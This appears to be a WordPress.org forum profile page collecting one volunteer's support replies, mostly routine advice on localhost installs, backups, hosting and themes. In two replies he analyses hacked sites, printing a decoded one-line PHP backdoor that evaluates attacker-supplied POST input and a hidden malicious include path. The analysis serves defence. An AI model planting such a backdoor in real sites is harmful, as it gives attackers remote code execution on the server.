RossMitchell
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Forum: Fixing WordPress
In reply to: Coupon pluginSuggest that you also ask this question at the woocommerce support forums. You may find a solution there or find a developer to create your system.
Forum: Localhost Installs
In reply to: All plugin Installing problem on localhostIt is unfortunate that the common configurations of localhost webservers do not provide the same ability as found on managed hosting of the website code being able to update its own files. This is found on WAMP/MAMP/XAMPP on Windows/Mac/Linux systems, they all lack the local FTP server required to update their own files.
The solution is relatively simple:
– download the .ZIP archive of the theme or plugin you want.
– extract the archive using your local file manager/finder, either extract the files directly into the themes or plugins directory, OR extract them elsewhere and copy them there.
– you may need to adjust the file permissions and ownership, but probably not.The plugin or theme can now be activated.
Forum: Localhost Installs
In reply to: How do make an entire backup of localhostThere are two different aspects of your website that you need to backup:
– the first is your wordpress files, either copy the whole directory tree from your website hosting file location to your external drive, OR make a ZIP archive of the files onto th external drive.
– make a extract of your database and copy it to the external drive. The easiest way is to have “phpmyadmin” installed and use it to export an SQL formal dump of the database. If you don’t have it installed then make this an opportunity to get it.There are other minor aspects of your website that the above will not capture, such as any changes you made to the “hosts” file or your “apache” server settings, an occasional snapshot of these is sufficient, you will know if you needed to mae any of these changes when you installed XAMPP.
Forum: Localhost Installs
In reply to: Mac High Sierra – local ftp server – how to update WPFor updating themes and plugins the procedure is to download the .zip archive, then either extracting it inplace at the final location OR extracting it somewhere then copying the files. Not quite the hands off automation that well setup website hosting can provide, but not that difficult nor too many steps either.
Forum: Localhost Installs
In reply to: Mac High Sierra – local ftp server – how to update WPRather than using FTP suggest that you use your local file manager to copy the files.
Forum: Localhost Installs
In reply to: Domain and Host transfer….lost in the terminology!Please appreciate that I have had limited experience with wordpress.com, the difference is that the choice of themes and plugins is limited. How much this matters to you depends upon how well they match your needs and how demanding you are.
I did not intend to disparage free hosting. Rather I was attempting to concisely inform how you may asses the myriad of hosting offers in the market.
My advice is that you stay with wordpress.com until you know why you want to change.
Forum: Localhost Installs
In reply to: Domain and Host transfer….lost in the terminology!The $35 a year you have been paying is for registering the domain name. This registration can be used if you keep or move your hosting. Yes it is the right thing.
You have been using wordpress.com = automattic for hosting (free).
This support site does not offer and is unable to assist with wordpress.com.
Why do you think that you need wordpress.org ?
If you do change to using wordpress.org you will need to buy website hosting, available from any number of providers, I think you get what you pay for, technical support is an important consideration.
Forum: Fixing WordPress
In reply to: lose admin rightPlease sonali007 follow the forum’s advised procedures and start a new thread when you have an problem to address, by adding your request to an existing and 2 month old thread you have greatly reduced your visibility and very likely delayed your support.
That being said, the “Reset your password” link above will work in your situation.
Note that the article provides several methods to reset your password, all of them work, any one of them will work for you.Not all websites are able to send email for various reasons. This is something you may takeup with your website hosting technical support once your password problem is resolved.
Forum: Fixing WordPress
In reply to: md5 checksum checkerCurious.
I suspect that this is an EXTREME security vulnerability. With a vulnerability like this accessible, I suspect that no one would bother with an SQL injection.Rot13 is a trivial text obscurer. Your code amounts to:
<?php assert($_POST['info']); ?><?phpNow this will evaluate whatever expression is passed in as
$_POST['info']
This is looking very suspect.
Where are these files ms-admin.php and ms-sites.php coming from ????Forum: Fixing WordPress
In reply to: Disable hyperlink for logoThat link is placed by your theme, most likely a file like “header.php”, but this could vary.
Maybe there is a filter that you can manage to change this, but more likely you need to create a child theme of your theme “business-inn”, details here:
http://codex.wordpress.org/Child_ThemesThen take a copy of “header.php” from your theme directory to your child theme directory. And then customize it to place the logo without the link, then test it, maybe this will require you to also change your CSS.
If this does not work for you then suggest that you seek support from your theme support forum.Forum: Fixing WordPress
In reply to: WordPress hacked, strange files appearThe advice is always to keep calm.
The @include amounts to including:
"/home/teslabet/abrahamtips.com/.well-known/pki-validation/.b4d3de68.ico"
The octal character encoding is to deflect curiosity, but is also good proof that the site is hacked.Somehow despite your changes of host and passwords you hacker is able to get in, once they are in they can setup all sorts of backdoors to keep access, any .php file of theirs can do this.
At the moment closing the initial front-door they use is your sole occupation.Follow the advice in this article:
https://codex.wordpress.org/FAQ_My_site_was_hacked
And then: https://codex.wordpress.org/Hardening_WordPressHere are some links about backdoors:
http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/
http://ottopress.com/2009/hacked-wordpress-backdoors/Forum: Fixing WordPress
In reply to: Cannot rewrite ruleWhich .htaccess file ? The one in the subdirectory or the website root ?
Forum: Localhost Installs
In reply to: MAMP localhost cannot connect to databasePossibly the database server process (mySQL) is not running. Does the task manager show it running ? Do your website error and log files say anything, like we know there is an error, but what kind of error ?
Can MAMP support help ?Forum: Localhost Installs
In reply to: Local save in customizer doesn’t stickI am thinking that your browser is using a cached view of your website. Have you tried a different browser ? firefox / chrome / safari / InternetExplorer
Have you tried doing a “Shift+refresh” in your browser ?So when you view your website it creates a directory in your C: root drive. Where is your webserver configured to get the website folders from ?
Forum: Localhost Installs
In reply to: Local save in customizer doesn’t stickHave you looked at the webserver error logs ?
Have you enabled debugging of the localhosted WordPress website, details here:
https://codex.wordpress.org/Debugging_in_WordPressAre you able to make other changes to the website ? Like edit a page or change a menu ?